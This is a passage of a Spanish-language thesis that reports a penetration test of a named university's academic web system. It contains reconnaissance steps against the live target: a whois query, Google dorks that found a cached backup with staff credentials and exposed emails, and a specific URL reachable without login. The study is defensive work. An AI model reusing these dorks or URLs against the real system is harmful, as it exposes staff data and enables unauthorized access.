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RESUMEN 

 

El propósito de este proyecto es identificar las vulnerabilidades de seguridad en el 

Sistema Académico Integrado en Red (Si@Net) de la Universidad Estatal de 

Bolívar. 

 

La prueba de seguridad se realizó aplicando la metodología OWASP y herramientas 

libres preinstaladas en el sistema operativo Kali Linux, evaluación que fue 

distribuida en cinco fases: recopilación de información, escaneo y enumeración, 

análisis de vulnerabilidades, explotación y post-explotación, cuyo enfoque incluyó 

realizar pruebas manuales y automatizadas que dieron lugar al descubrimiento de 

una serie de debilidades de distinto nivel de riesgo, todos los hallazgos descubiertos 

fueron debidamente documentados con las soluciones para su mitigación. 

 

Con las recomendaciones establecidas permitirá corregir los fallos de seguridad más 

críticos en el Sistema Académico Integrado en Red Si@Net. 
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The purpose of this project is to identify security vulnerabilities in the Integrated 

Networked Academic System (Si@Net) of the State University of Bolívar. 

 

The security test was performed applying the OWASP methodology and pre-

installed free tools in the Kali Linux operating system, which was distributed in five 

phases: information gathering, scanning and enumeration, vulnerability analysis, 

exploitation and post-exploitation, whose approach included performing manual 

and automated tests that led to the discovery of a series of weaknesses of different 
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failures in the Si@Net Integrated Network Academic System. 
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INTRODUCCIÓN 

Al igual que con cualquier nueva clase de tecnología, las aplicaciones web han 

traído consigo una gama de vulnerabilidades de seguridad, los ataques más graves 

contra las aplicaciones web son aquellos que exponen datos confidenciales u 

obtienen acceso sin restricciones a los sistemas de Back-End en los que se ejecuta 

la aplicación. Este tipo de compromisos de alto perfil continúan ocurriendo con 

frecuencia. Sin embargo, para muchas organizaciones, cualquier ataque que cause 

un tiempo de inactividad del sistema es un evento crítico. (Stuttard y Pinto, 2018)  

 

La empresa de seguridad Veracode afirma que, de las pruebas realizadas, el 77% de 

aplicaciones tienen al menos una vulnerabilidad y el 23% restante tienen un fallo de 

seguridad alto. En concreto, el fabricante afirma que en 2017 un 27,6% de las 

aplicaciones analizadas son fácilmente vulnerables a inyecciones SQL, tomando en 

cuenta que las vulnerabilidades de seguridad en aplicaciones cambian 

constantemente, principalmente debido a la aparición de nuevas tecnologías 

llevando al descubrimiento de nuevas técnicas de explotación. (Peláez, 2017) 

 

La presente investigación fue realizada con el objetivo de identificar 

vulnerabilidades existentes en el Sistema Académico Integrado en Red Si@Net de 

la Universidad Estatal de Bolívar, en los módulos: Sistema de Matriculación 

Estudiantil (SME), Prácticas Pre-Profesionales (PPP), Sistema de Distributivo 

Académico (SDA), Control de Asistencia Estudiantil y Docente (CAED) y Sistema 

de Portafolio Docente (SPD), mediante el uso de herramientas libres y tomando 

como guía la metodología OWASP fue posible detectar  un número significativo de 

vulnerabilidades, las que fueron verificadas manualmente para corroborar su 

existencia y descartar falsos positivos, hallazgos que fueron debidamente 

documentados estableciendo medidas de seguridad apropiadas para su mitigación. 

 

 

 

 

 

 



2 
 

REVISIÓN DE LA LITERATURA 

Según los estudios realizados, los conceptos más apropiados para el desarrollo de 

la evaluación de seguridad fueron: 

1.1. Decreto 1014 Software Libre en Ecuador 

El 10 de abril del 2008 se emitió el decreto 1014 por parte de la presidencia de 

Rafael Correa Delgado, que promueve el uso de software libre en las instituciones 

públicas del Ecuador. 

“Art. 1. Establecer como política para las entidades de administración pública 

central la utilización del Software Libre en sus sistemas y equipamientos 

informáticos” (Decreto 1014 software libre Ecuador, 2008). 

“Art. 2. Se entiende por software libre, a los programas de computación que se 

pueden utilizar y distribuir sin restricción alguna, que permitan el acceso al código 

fuente y que sus aplicaciones puedan ser mejoradas” (Decreto 1014 software libre 

Ecuador, 2008). 

Estos programas de computación tienen las siguientes libertades: 

 Utilización de programa con cualquier propósito de uso común. 

 Distribución de copias sin restricción alguna. 

 Estudio y modificación del programa.  

 Publicación del programa mejorado. 

“Art. 3. Las entidades de la administración pública central previa a la instalación 

del software libre en sus equipos deberán verificar la existencia de capacidad técnica 

que brinde el soporte necesario para este tipo de software” (Decreto 1014 software 

libre Ecuador, 2008) 

Art. 4. Se faculta la utilización de software propietario (no libre) únicamente 

cuando no exista una solución de software libre que supla las necesidades 

requeridas, o cuando esté en riesgo de seguridad nacional, o cuando el proyecto 

informático se encuentre en un punto de no retorno. (Decreto 1014 software libre 

Ecuador, 2008) 

 

1.2. Qué es una aplicación web 

“Es un programa de software que se ejecuta en un servidor web que almacena 

información en una base de datos. Las aplicaciones web suelen ser accedidas a 

través de un navegador web” (Hueso, 2018). 



3 
 

1.3. Sistema operativo de servidores 

Se ejecutan en servidores, que son computadoras personales muy grandes, 

estaciones de trabajo o incluso mainframes. Dan servicio a varios usuarios a la vez 

a través de una red y les permiten compartir los recursos de hardware y de software, 

estos servidores pueden proporcionar servicio de impresión, de archivos o Web. 

(Tanenbaum, 2008) 

 

1.4. Qué es una base de datos 

“Una base de datos es un conjunto de datos que se encuentran almacenados entre 

los que existen relaciones lógicas y ha sido diseñada para satisfacer los 

requerimientos de información de una organización o empresa” (Hueso, 2018, pg. 

22). 

 

1.5. Firewalls 

El firewall actúa como un filtro de paquetes, inspecciona cada paquete entrante y 

saliente. Los paquetes que cumplen algún criterio descrito en las reglas formuladas 

por el administrador de la red se reenvían normalmente. Aquellos que fallan en la 

prueba son descartados. El criterio de filtrado se suele proporcionar como reglas o 

tablas que enumeran las fuentes y los destinos que son aceptables, las fuentes y los 

destinos que están bloqueados, y las reglas predeterminadas sobre qué hacer con los 

paquetes que vienen o van a otras máquinas. (Tanenbaum y Wetherall, 2016) 

1.5.1. Firewall de red 

Los firewalls de red de filtrado de paquetes proporcionan una protección de red 

esencial al ayudar a evitar que el tráfico no deseado ingrese a la red corporativa. 

Funcionan aplicando un conjunto de reglas de seguridad para decidir si permiten o 

rechazan el acceso a la red. Las reglas típicas incluyen: denegar la entrada a todo el 

tráfico, excepto el tráfico destinado a puertos específicos, correspondientes a la 

aplicación que se ejecuta dentro de la red corporativa. (Rubens, 2018) 

1.5.2. Firewall de aplicaciones web 

Un firewall de aplicación web (abreviatura de WAF), controla, filtra y bloquea el 

tráfico malicioso antes de que llegue al servidor web real. El firewall de una 

aplicación web es diferente de un firewall tradicional, ya que hace más que solo 

bloquear direcciones IP o puertos específicos, analiza el tráfico web en busca de 



4 
 

ataques comunes como Cross Site Scripting (XSS) y la inyección SQL. (Talalaev, 

2018) 

 

Figura 1. Firewall protegiendo la red interna. (Tanenbaum, 2016)   

 

1.6. Seguridad de la información 

SGSI es la abreviatura utilizada para referirse a un Sistema de Gestión de la 

Seguridad de la Información. En el contexto aquí tratado, se entiende por 

información todo aquel conjunto de datos organizados en poder de una entidad que 

posean valor para la misma, independientemente de la forma en que se guarde o 

transmita (escrita, en imágenes, oral, impresa en papel, almacenada 

electrónicamente, proyectada, enviada por correo, transmitida en conversaciones, 

etc.), de su origen (de la propia organización o de fuentes externas) o de la fecha de 

elaboración. La seguridad de la información, según ISO 27001, consiste en la 

preservación de su confidencialidad, integridad y disponibilidad, así como de los 

sistemas implicados en su tratamiento, dentro de una organización. (EL portal de 

ISO 27001 en Español, 2016) 

Para garantizar que la seguridad de la información es gestionada correctamente se 

debe identificar inicialmente los aspectos relevantes adoptados para garantizar su: 

 

Confidencialidad 

“Se conoce como la cualidad de la información que solo es accesible a individuos, 

entidades o sistemas autorizados” (EL portal de ISO 27001 en Español, 2016). 

Integridad 

“Es la forma en que la información se mantiene intacta libre de modificaciones, la 

integridad se pierde cuando dichos datos han sido manipulados por terceras 
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personas” (EL portal de ISO 27001 en Español, 2016). 

Disponibilidad 

“Hace referencia al acceso y utilización de la información cuando los individuos, 

entidades o procesos autorizados lo requieran” (EL portal de ISO 27001 en Español, 

2016). 

 

1.7. ¿Qué es el OWASP? 

Es una comunidad libre y gratuita sin ánimo de lucro, que impulsa a las 

organizaciones al desarrollo y mantenimiento de aplicaciones web seguras. Las 

herramientas, foros y documentos de OWASP son gratuitos y están disponibles a 

cualquier persona interesada en mejorar el desarrollo de software. (OWASP, 2017) 

 

1.8. Owasp Top 10  

Este es un documento en el que detalla los diez riesgos de seguridad más 

importantes, según información obtenida de una gran cantidad de organizaciones 

alrededor del mundo, las principales categorías fueron seleccionadas y priorizadas 

tomando en cuenta el nivel de explotabilidad, detectabilidad e impacto, en el 2017 

se actualizó la lista con los siguientes riesgos de seguridad. (OWASP, 2017) 

A1: 2017-Inyección 

Las fallas de inyección, tales como: SQL, NoSQL, ocurren cuando los datos que no 

son de confianza se envían a un intérprete como parte de un comando o consulta. 

Los datos del atacante pueden engañar al intérprete para que ejecute comandos no 

deseados o acceda a los datos sin la debida autorización. (OWASP, 2017) 

A2: 2017- Autenticación rota 

Las funciones de aplicación relacionadas con la autenticación y la administración 

de sesiones a menudo se implementan incorrectamente, permitiendo a los atacantes 

comprometer contraseñas, tokens de sesión, o explotar otros defectos de 

implementación para asumir las identidades de otros usuarios temporal o 

permanentemente. (OWASP, 2017) 

A3: 2017 - Exposición de datos sensibles 

La gran variedad de aplicaciones no protege los datos confidenciales, como 

financieros, de atención médica. Los atacantes pueden robar o modificar dichos 

datos protegidos débilmente para realizar fraude con tarjetas de crédito, robo de 
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identidad u otros delitos. La información puede verse comprometida sin la 

protección adecuada, como el cifrado en reposo o en tránsito y requieren 

precauciones especiales cuando se intercambian con el navegador. (OWASP, 2017) 

A4: 2017- XML Entidades Externas (XXE) 

Muchos procesadores XML más antiguos o mal configurados evalúan referencias 

de entidades externas dentro de documentos XML. Las mismas que se pueden 

utilizar para divulgar archivos internos utilizando el manejador URL de archivos, 

recursos compartidos de archivos internos, escaneo de puertos internos, ejecución 

remota de código y ataques de denegación de servicio. (OWASP, 2017) 

A5: 2017 - Control de acceso roto 

Las restricciones sobre lo que los usuarios autenticados pueden hacer a menudo no 

se aplican correctamente. Los atacantes pueden explotar estos defectos para acceder 

a funcionalidades o a datos no autorizados, ver archivos confidenciales, cambiar 

derechos de acceso, etc. (OWASP, 2017) 

A6: 2017 - Configuración incorrecta de seguridad 

La mala configuración de seguridad es el problema más común. Esto es 

comúnmente el resultado de configuraciones predeterminadas e incompletas, 

encabezados HTTP sin ofuscar y mensajes de error detallados que contienen 

información confidencial. No solo se deben configurar de forma segura todos los 

sistemas operativos y aplicaciones, sino que se deben parchear y actualizar de 

manera oportuna. (OWASP, 2017) 

A7: 2017- Cross Site Scripting (XSS) 

Las fallas XSS ocurren cuando una aplicación no valida o escapa adecuadamente 

los datos ingresados por los usuarios, permitiendo a los atacantes ejecutar código 

JavaScript en el navegador de la víctima, que pueden secuestrar sesiones de usuario, 

modificar sitios web o redirigir al usuario a sitios maliciosos. (OWASP, 2017) 

A8: 2017 - Deserialización insegura 

La deserialización insegura a menudo conduce a la ejecución remota de código, 

incluso si los defectos no resultan en la ejecución remota de código, se pueden usar 

para realizar ataques de inyección y ataques de escalamiento de privilegios. 

(OWASP, 2017) 
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A9: 2017 - Uso de componentes con vulnerabilidades conocidas 

Los componentes, como bibliotecas y otros módulos de software se ejecutan con 

los mismos privilegios que la aplicación. Si se explota un componente vulnerable, 

dicho ataque puede facilitar la pérdida grave de datos o la toma del servidor. Las 

aplicaciones que usan módulos con vulnerabilidades conocidas pueden debilitar las 

defensas de las aplicaciones y permitir varios ataques. (OWASP, 2017) 

A10: 2017 - Insuficiente registro y monitoreo 

El monitoreo insuficiente, junto con la integración faltante o ineficaz con la 

respuesta al incidente, permite a los intrusos atacar más los sistemas, mantener la 

persistencia, pivotar hacia más sistemas y alterar, extraer o destruir los datos. La 

mayoría de los estudios muestran que el tiempo de detección de una brecha de 

seguridad es de más de 200 días, típicamente detectado por terceros en lugar de 

procesos internos. (OWASP, 2017) 

 

1.9. ¿Qué es una prueba de penetración? 

Una prueba de penetración es una subclase de hacking ético, comprende un conjunto 

de métodos y procedimientos que tienen como objetivo probar o proteger la 

seguridad de una organización. Las pruebas de penetración resultan útiles para 

encontrar vulnerabilidades y verificar si un atacante podrá explotarlas para obtener 

acceso a un sistema. (Baloch, 2017) 

 

1.10. Metodologías de Pruebas de Penetración 

1.10.1. OSSTMM 

La metodología de pruebas de seguridad de código abierto OSSTMM, básicamente 

incluye casi todos los pasos involucrados en una prueba de penetración. Estas 

pruebas, a pesar de ser tediosas, exigen una gran cantidad de dinero de los 

presupuestos de la empresa para su finalización, que a menudo no son satisfechas 

por un gran número de organizaciones. (Baloch, 2017) 
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Figura 2. Estructura de la metodología OSSTMM. (Baloch, 2017) 

 

1.10.2. NIST 

NIST, por otro lado, es más completo que OSSTMM, y es algo que podría aplicar 

diariamente y en compromisos cortos. La captura de pantalla indica los cuatro pasos 

de la metodología que son: planificación, descubrimiento, ataque e informe. Las 

pruebas comienzan con la fase de planificación, donde se decide cómo se realizará 

el compromiso. A esto le sigue la fase de descubrimiento, que se divide en dos 

partes: la primera parte incluye la recopilación de información, el escaneo de la red, 

la identificación del servicio y la detección del sistema operativo, y la segunda parte 

implica la evaluación de la vulnerabilidad. Después de la fase de descubrimiento, 

viene la fase de ataque, que es el corazón de cada prueba de penetración. Si puede 

comprometer un objetivo y se descubre un nuevo host, en caso de que el sistema 

tenga doble conexión o esté conectado con múltiples interfaces, volverá al paso dos, 

es decir, descubrimiento, y lo repetirá hasta que no haya objetivos. (Baloch, 2017) 
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Figura 3. Estructura de la metodología NIST. (Baloch, 2017) 

 

1.10.3. OWASP 

Las metodologías anteriores se enfocan más en realizar una prueba de penetración 

de red en lugar de algo específicamente diseñado para probar aplicaciones web. La 

metodología de prueba de OWASP es la que se utiliza para todas las pruebas de 

penetración de aplicaciones. La guía de prueba de OWASP básicamente contiene 

casi todo lo que se probaría en una aplicación web. La metodología es completa y 

está diseñada por algunos de los mejores investigadores de seguridad de 

aplicaciones web. (Baloch, 2017) 

 

1.11. Categorías de prueba de penetración 

Cuando se define el alcance de la prueba de penetración, también se define la 

categoría o tipo del compromiso de la prueba de intrusión. La prueba puede ser 

Black Box, White Box o Gray Box, dependiendo de lo que la organización quiera 

probar y de cómo quiera que se pruebe el paradigma de seguridad. (Baloch, 2017) 

Caja negra 

Una prueba de penetración de caja negra es donde se proporciona poca o ninguna 

información sobre el objetivo especificado. En el caso de una prueba de penetración 

de red, esto significa que no se proporcionará el sistema operativo de destino, la 

versión del servidor, etc. Lo único que se proporcionará son los rangos de IP que 

probaría. En el caso de una prueba de penetración de aplicación web, no se 

proporcionará el código fuente de la aplicación. Este es un escenario muy común 

que encontrará al realizar una prueba de penetración externa. (Baloch, 2017) 

Caja blanca 

Una prueba de penetración de caja blanca es donde se proporciona casi toda la 

información sobre el objetivo. En el caso de una prueba de penetración de red, se 

proporciona información sobre la aplicación en ejecución, las versiones 

correspondientes, el sistema operativo, etc. En el caso de una prueba de penetración 
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de la aplicación web, se proporciona el código fuente de la aplicación, lo que nos 

permite realizar el “análisis del código fuente”. Este escenario es muy común en las 

pruebas de intrusión internas, ya que las organizaciones están preocupadas por la 

filtración de información. (Baloch, 2017) 

Caja gris 

En una prueba de caja gris, se proporciona cierta información y otra oculta. En el 

caso de una prueba de penetración de red, la organización proporciona los nombres 

de la aplicación que se ejecuta detrás de una IP, sin embargo, no revela la versión 

exacta de los servicios que se ejecutan. En el caso de una prueba de penetración de 

la aplicación web, se proporciona información adicional, como las cuentas de 

prueba, el servidor de servicios de fondo y las bases de datos. (Baloch, 2017) 

 

1.12. Tipos de pruebas de penetración  

Hay varios tipos de pruebas de penetración, sin embargo, las siguientes son las más 

comúnmente realizadas: 

1.12.1. Prueba de penetración de red 

Una prueba de penetración de red se divide en dos categorías: pruebas de intrusión 

externa e interna. 

Una prueba de penetración externa implicaría probar las direcciones IP públicas, 

mientras que, en una prueba interna, se realizarían pruebas dentro de la red interna. 

Se le puede proporcionar al evaluador acceso a la red o tendría que ir físicamente al 

entorno de trabajo para realizar la prueba, según las reglas de contratación que se 

definieron antes de realizar la evaluación. (Baloch, 2017) 

1.12.2. Prueba de penetración de aplicaciones web 

La prueba de penetración de aplicaciones web es muy común en la actualidad, ya 

que estas pueden alojar datos críticos como números de tarjetas de crédito, nombres 

de usuario y contraseñas, por lo tanto, este tipo de prueba se ha vuelto más común 

que la prueba de penetración de red. (Baloch, 2017) 

1.12.3. Prueba de penetración de aplicaciones móviles 

La prueba de penetración de aplicaciones móviles es el tipo de evaluación más 

reciente, se ha vuelto común ya que casi todas las organizaciones utilizan 

aplicaciones móviles basadas en Android e iOS para proporcionar servicios a sus 

clientes, por lo tanto, las organizaciones quieren asegurarse de que sus aplicaciones 
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móviles son lo suficientemente seguras, para que los usuarios confíen cuando 

brindan información personal. (Baloch, 2017) 

1.12.4. Prueba de penetración de ingeniería social 

En esta clase de prueba, la organización puede pedirle que evalúe a sus usuarios. 

Aquí es donde se utilizan los ataques de phishing y las vulnerabilidades del 

navegador para engañar a un usuario para que haga las cosas que no pretendía hacer. 

(Baloch, 2017) 

 

1.13. Fases de una prueba de penetración 

1.13.1. Fase de Planificación 

En la fase de planificación, se identifican las reglas, se finaliza la aprobación de la 

administración y se establecen los objetivos de la prueba, esta etapa forma las bases 

para una prueba de penetración exitosa. 

1.13.2. Fase de Descubrimiento 

En esta fase se cubren dos partes: 

Recopilación de información. Esta es la primera fase donde el evaluador realiza 

varias pruebas con el propósito de recopilar la mayor cantidad de información 

posible, directa e indirectamente del objetivo, como identificación de puertos y 

servicios de red, información pública contenida en redes sociales además de utilizar 

otras técnicas. (Scarfone, Souppaya, Cody y Orebaugh, 2018) 

Análisis de vulnerabilidades.  “Una vez que se haya recopilado toda la 

información disponible, a partir de este momento se puede definir el descubrimiento 

de agujeros de seguridad y desde este punto planificar los posibles vectores de 

ataque” (Scarfone et al., 2018). 

1.13.3. Fase de Ejecución 

En este paso se explota las vulnerabilidades encontradas para verificar si las 

debilidades son reales y la posibilidad de obtener acceso, entre las actividades que 

se llevan a cabo son las siguientes: 

Ganando acceso. “Si se ha enumerado suficiente información en la fase de 

descubrimiento será posible el acceso al sistema objetivo” (Scarfone et al., 2018). 

Escalada de privilegios. “En muchos casos, explotar un sistema vulnerable solo 

puede dar acceso limitado a los datos y recursos del sistema, por lo que el evaluador 

tratará por diferentes medios tratar de alcanzar permisos administrativos” (Scarfone 
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et al., 2018). 

Navegando dentro del sistema. “El proceso de recopilación de información 

comienza nuevamente para identificar mecanismos para obtener acceso a sistemas 

adicionales” (Scarfone et al., 2018). 

1.13.4. Fase de Documentación y Reporte 

“Esta es la fase más importante porque es donde se informa al cliente cada una de 

las pruebas que se han efectuado y los resultados que se han obtenido de cada uno 

de ellos” (Scarfone et al., 2018). 

 

1.14. Tipos de ataques más comunes  

1.14.1. Phishing 

En un ataque de phishing, un atacante puede enviarle un correo electrónico que 

parece ser de alguien de confianza, como su jefe o una empresa con la que hace 

negocios. El correo electrónico parecerá legítimo y habrá un archivo adjunto para 

abrir o un enlace para hacer clic. Al abrir el archivo adjunto malicioso, instalará 

malware en su computadora. Si hace clic en el enlace, puede enviarlo a un sitio web 

de apariencia legítima que le solicita que inicie sesión para acceder a un archivo 

importante, excepto que el sitio web es en realidad una trampa que se utiliza para 

capturar sus credenciales cuando intenta iniciar sesión. ("Common Types of 

Cybersecurity Attacks and Hacking Techniques | Rapid7", 2018) 

1.14.2. Ataque de inyección SQL 

Un ataque de inyección SQL permite que el servidor ejecute las instrucciones 

emitidas por el atacante. Por ejemplo, si un servidor de base de datos es vulnerable 

a un ataque de inyección, es posible que un atacante escriba una instrucción que 

obligue al servidor del sitio a volcar todos sus nombres de usuario y contraseñas 

almacenados. ("Common Types of Cybersecurity Attacks and Hacking Techniques 

| Rapid7", 2018) 

1.14.3. Cross Site Scripting (XSS)   

Este tipo de ataques pueden dañar significativamente la reputación de un sitio web 

al poner en riesgo la información de los usuarios sin ninguna indicación de que haya 

ocurrido algo malicioso. Cualquier información confidencial que un usuario envíe 

al sitio, como sus credenciales, números de tarjeta de crédito u otra información 

privada, puede ser secuestrada a través de esta vulnerabilidad sin que los 
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propietarios del sitio se den cuenta de que hubo un problema. ("Common Types of 

Cybersecurity Attacks and Hacking Techniques | Rapid7", 2018) 

1.14.4. Denegación de servicio (DoS) 

Los ataques de denegación de servicio inundan un sitio web con más tráfico del que 

fue creado para manejar, sobrecargará el servidor del sitio web y será casi imposible 

que el sitio web ofrezca su contenido a los visitantes que intentan acceder a él, en 

algunos casos, los ataques de DoS se realizan en muchas computadoras al mismo 

tiempo. Este escenario de ataque se conoce como un ataque de denegación de 

servicio distribuido (DDoS). Este tipo de ataque puede ser aún más difícil de superar 

debido a que el atacante aparece desde muchas direcciones IP diferentes en todo el 

mundo simultáneamente, lo que hace que la determinación del origen del ataque sea 

aún más difícil para los administradores de red. ("Common Types of Cybersecurity 

Attacks and Hacking Techniques | Rapid7", 2018) 

1.14.5. Secuestro de sesión y ataques de hombre en el medio 

La sesión entre su computadora y el servidor web remoto recibe un ID de sesión 

único, que debe permanecer privado entre las dos partes, sin embargo, un atacante 

puede secuestrar la sesión capturando el ID de sesión y haciéndose pasar por la 

computadora que realiza una solicitud, lo que le permite autenticarse como un 

usuario legítimo y obtener acceso a información no autorizada en el servidor web. 

("Common Types of Cybersecurity Attacks and Hacking Techniques | Rapid7", 

2018) 

1.14.6. Reutilización de credenciales 

Los usuarios de hoy tienen tantos inicios de sesión y contraseñas para recordar que 

es tentador reutilizar las credenciales para hacer la vida un poco más fácil. A pesar 

de que las mejores prácticas de seguridad recomiendan universalmente que tenga 

contraseñas únicas para todas sus aplicaciones y sitios web, lamentablemente 

muchas personas todavía reutilizan sus contraseñas en varias de sus cuentas. 

("Common Types of Cybersecurity Attacks and Hacking Techniques | Rapid7", 

2018) 
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MÉTODO 

Para este proyecto se utilizó la investigación bibliográfica, debido a que se tomaron 

referencias de libros, páginas web y blogs para el desarrollo de la evaluación de 

vulnerabilidades y emitir las soluciones pertinentes. 

También formó parte la investigación experimental, ya que se hicieron diferentes 

pruebas manuales y automatizadas con herramientas libres, para descubrir 

vulnerabilidades en la aplicación web. 

La investigación realizada se fundamenta en los siguientes métodos: 

Método Cualitativo 

Este método se aplicó para evaluar el nivel de riesgo de acuerdo con la apreciación 

estimada por el evaluador, tomando en cuenta los parámetros de probabilidad e 

impacto, establecidos en la metodología de evaluación de riesgo OWASP. 

Método Cuantitativo 

Este método se empleó para determinar la valoración del nivel de riesgo según lo 

estimación realizada en la explotabilidad, detectabilidad e impacto técnico. 
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RESULTADOS 

Ante los resultados obtenidos se procede a contestar las siguientes interrogantes. 

¿Cuál es la causa principal de la existencia de vulnerabilidades en el Sistema 

Académico Integrado en Red (Si@Net)?  

Requerimientos funcionales que no establecen normas y políticas que sustenten los 

controles de seguridad, errores en la codificación y configuraciones inseguras. 

¿Cuáles serían las potenciales amenazas que ponen en riesgo la integridad de 

los datos del Sistema Académico Integrado en Red (Si@Net)?  

Los usuarios que están relacionados con la institución o atacantes externos que son 

contratados para realizar acciones indebidas. 

¿Quiénes serán los principales actores afectados al infringir la seguridad del 

Sistema Académico Integrado en Red (Si@Net)? 

Comprometida la seguridad del sistema no solo puede verse afectada la información 

de estudiantes y los usuarios con altos privilegios, en el peor de los casos el atacante 

puede elevar el nivel de acceso y comprometer otros equipos de la red.  

¿Por qué es importante establecer políticas de seguridad e instruir al personal 

que interactúa con el Sistema Académico Integrado en Red (Si@Net)? 

Es esencial implementar políticas de seguridad, para hacer cumplir las pautas 

establecidas acorde a los requerimientos de la institución, el instruir a los usuarios 

es fundamental para evitar que intrusos logren quebrantar la seguridad mediante 

ataques de ingeniería social. 

 

Modelo de cálculo de riesgo 

Para determinar el nivel de riesgo se tomó como referencia el método de evaluación 

OWASP, el mismo que estipula los medios para calcular el riesgo para cada 

vulnerabilidad. 

Identificando el Riesgo 

El primer paso es identificar el riesgo de seguridad que debe ser calificado. El 

evaluador debe recopilar información sobre el ataque que se usará, la vulnerabilidad 

involucrada y el impacto de una explotación exitosa. 

Factores para estimar la probabilidad 

Una vez que el probador ha identificado un riesgo potencial y desea averiguar qué 

tan grave es, el primer paso es estimar la probabilidad. En el nivel más alto, esta es 
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una medida aproximada de la probabilidad de que esta vulnerabilidad en particular 

sea descubierta y explotada por un atacante. No es necesario ser demasiado precisos 

en esta estimación. En general, es suficiente identificar si la probabilidad es baja, 

media o alta. ("OWASP Risk Rating Methodology - OWASP", 2015) 

Factores para estimar el impacto 

El impacto técnico se puede dividir en factores alineados con las áreas de 

preocupación tradicionales de seguridad: confidencialidad, integridad, y 

disponibilidad. El objetivo es estimar la magnitud del impacto en el sistema si se 

explotara la vulnerabilidad ("OWASP Risk Rating Methodology - OWASP", 2017). 

Definidos los dos factores de probabilidad para cada vulnerabilidad (posibilidad de 

detección y facilidad de explotación) y un factor de impacto técnico. La escala de 

riesgos para cada factor utiliza el rango de 1 (bajo) a 3 (alto). Para calcular el riesgo 

de cada vulnerabilidad, se obtiene el promedio de los dos factores de probabilidad 

y se multiplica por el impacto técnico estimado. 

Riesgo= R 

Explotabilidad= E 

Detección de vulnerabilidad= DV 

Impacto Técnico= IT 

Fórmula 

R= (E+DV) / 2*IT 

 

Figura 4. Modelo de cálculo de riesgo. (OWASP, 2017) 

 

Tabla 1.  

Métricas para calificar el nivel de riesgo. 

(OWASP, 2017) 

Probabilidad y nivel de impacto 

0 a <3 Bajo 

3 a <6 Medio 

6 a 9 Alto 
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Tabla 2  

Estimación de riesgos de las vulnerabilidades detectadas en el Si@Net. 

(Elaborado por el autor) 

Vulnerabilidad Explotabilidad Detección de vulnerabilidad Impacto técnico Puntuación 

Inyección SQL 3 3 3 9.0 

Cross Site Scripting 2 3 2 5.0 

Fuerza bruta en formularios HTML 3 3 2 6.0 

Cross Site Request Forgery 2 2 2 4.0 

Exploración de directorios 1 3 1 2.0 

Política de contraseñas débiles 2 2 2 4.0 

Cookie no HttpOnly Flag 2 2 1 2.0 

Denegación de Servicio en Apache 2.4.6 1 2 1 1.5 

Divulgación de información 2 3 1 2.5 

Solicitud de página directa 3 3  2 6.0 

Fijación se sesión 2 3 2 5.0 

Referencias a objetos directos 3 3 2 6.0 

Método Trace  1 3 1 2.0 

Certificado SSL 1 3 2 4.0 

Registro y monitoreo insuficientes 2 1 2 3.0 
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Tabla 3  

Resumen de la tabla de riesgos de las vulnerabilidades encontradas en el Si@Net. 

(Elaborado por el autor) 

 

 

Figura 5. Porcentaje establecido de acuerdo con el nivel de riesgo. (Elaborado por el autor) 

 

Descripción:  

De los resultados obtenidos, el 27% de las vulnerabilidades detectadas son de riesgo 

alto que deben ser mitigadas lo más pronto posible, el 40% son de riesgo medio y 

el 33% restante son de nivel bajo. 

 

 

 

 

 

 

 

 

 

 

Nivel de riesgo Número de alerta 

Alto 4 

Medio 6 

Bajo 5 
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DISCUSIÓN 

Metodología 

Estas pruebas fueron realizadas meticulosamente para evitar daños al sistema que 

se está probando. El enfoque incluyó, recopilación de información, análisis de 

vulnerabilidades manuales y automatizadas y verificación de hallazgos. Comprobar 

de forma manual es importante porque permite descartar falsos positivos y 

resultados erróneos. 

2.1. Recopilación de información 

En esta etapa se intenta recopilar la mayor cantidad de información posible ya sea 

directa e indirectamente del objetivo. 

El proceso de recopilación de información se realizó desde el 19 al 23 de noviembre 

del 2018. 

2.1.1. Protocolo Whois 

Whois es un nombre para un servicio TCP, una herramienta y un tipo de base de 

datos. Las bases de datos de whois contienen un servidor de nombres, un registrador 

e información de contacto sobre un dominio en particular. 

A continuación, se proporciona la dirección IP correspondiente al sianet para 

obtener información pública del registro. 

whois 190.15.128.203

 

Figura 6. Resultados obtenidos del registro whois. (Elaborado por el autor) 
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Figura 7. Resultados obtenidos del registro whois. (Elaborado por el autor) 

 

A partir de los resultados de whois se observa el nombre del encargado del registro, 

dirección de la universidad, correo electrónico y números telefónicos. 

 

2.1.2. Búsqueda con Google 

Mediante el uso de búsquedas avanzadas Google puede proporcionar gran cantidad 

de información concerniente al objetivo. 

Las siguientes capturas detallan la información obtenida del dominio principal, 

donde se ha encontrado una copia de seguridad indexada en un directorio web con 

cuentas de inicio de sesión de docentes de la institución.   

site:ueb.edu.ec filetype:sql 

 

Figura 8. Resultados de la búsqueda con Google. (Elaborado por el autor) 

 

 

Figura 9. Información no disponible en el directorio web. (Elaborado por el autor) 
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El archivo al parecer ha sido eliminado, pero fue posible acceder a esta copia de 

seguridad buscando en la caché de Google. 

 

Figura 10. Copia de seguridad con credenciales de docentes. (Elaborado por el autor) 

 

El siguiente operador fue utilizado para encontrar direcciones de correo electrónico:  

site:ueb.edu.ec intext:"gmail.com" "yahoo.es" "ueb.edu.ec" 

 

Figura 11. Resultados de la búsqueda de Google. (Elaborado por el autor) 

 

En las siguientes direcciones se encontró cuentas de correo electrónico, números de 

teléfono, información de acceso público que revela información suficiente para 

realizar un ataque a gran escala de ingeniería social a docentes. 
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http://www.ueb.edu.ec/sitio/images/PDF/LOTAIP/2018/JUNIO/LITERAL-

B1.pdf 

 

Figura 12. Correos electrónicos expuestos en archivos pdf. (Elaborado por el autor) 

 

http://www.fce-vir.ueb.edu.ec/fce/plan_tutorias/Lista_contactos_asesores.pdf 

 

Figura 13. Correos electrónicos expuestos en archivos pdf. (Elaborado por el autor) 

 

El siguiente operador se utilizó para encontrar información referente al dominio del 

sianet. 
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site:sianet.ueb.edu.ec 

 

Figura 14. Resultados de la búsqueda con Google. (Elaborado por el autor) 

 

Hallazgo 1 

Solicitud de página directa 

Esta es una vulnerabilidad debido a una inconsistencia a nivel de control de acceso, 

facilitando la entrada en el sistema sin necesidad de realizar la autenticación previa, 

esta debilidad se encontró en la siguiente dirección: 

https://www.sianet.ueb.edu.ec/sme/reporte_faltas.php 

 

Figura 15. Inconsistencia en el control de acceso. (Elaborado por el autor) 

 

En la ilustración se observa que el acceso fue exitoso y es posible realizar las 

actividades asignadas como un usuario autenticado. 
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Hallazgo 2 

Divulgación de información 

El exponer datos sensibles de los usuarios le permite a un atacante facilitar su acceso 

